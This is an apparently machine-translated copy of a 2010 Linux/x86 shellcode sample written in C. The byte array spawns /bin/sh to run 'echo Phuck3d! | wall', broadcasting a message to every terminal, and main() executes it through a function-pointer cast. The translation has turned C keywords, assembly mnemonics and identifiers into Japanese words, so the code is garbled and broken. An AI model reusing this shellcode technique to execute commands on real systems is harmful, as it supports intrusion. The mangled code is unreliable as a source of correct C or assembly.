このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* $Id: where-is-wallie.c, v 1.0 2010/04/24 18:32:29 condis Exp $ linux/x86 sends "Phuck3d!" to all 終点s (60 bytes) shellcode by condis 実験(する)d on: Linux Debian */ int main(無効の) { char evil[] = "\x6a\x0b" // 押し進める $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // 押し進める %edx "\x68\x77\x61\x6c\x6c" // 押し進める $0x6c6c6177 "\x68\x21\x20\x7c\x20" // 押し進める $0x207c2021 "\x68\x63\x6b\x33\x64" // 押し進める $0x64336b63 "\x68\x20\x50\x68\x75" // 押し進める $0x75685020 "\x68\x65\x63\x68\x6f" // 押し進める $0x6f686365 "\x89\xe6" // mov %esp,%esi "\x52" // 押し進める %edx "\x66\x68\x2d\x63" // pushw $0x632d "\x89\xe1" // mov %esp,%ecx "\x52" // 押し進める %edx "\x68\x2f\x2f\x73\x68" // 押し進める $0x68732f2f "\x68\x2f\x62\x69\x6e" // 押し進める $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // 押し進める %edx "\x56" // 押し進める %esi "\x51" // 押し進める %ecx "\x53" // 押し進める %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80" // int $0x80 無効の(*にわか景気)()=(無効の*)evil; にわか景気(); return 0; }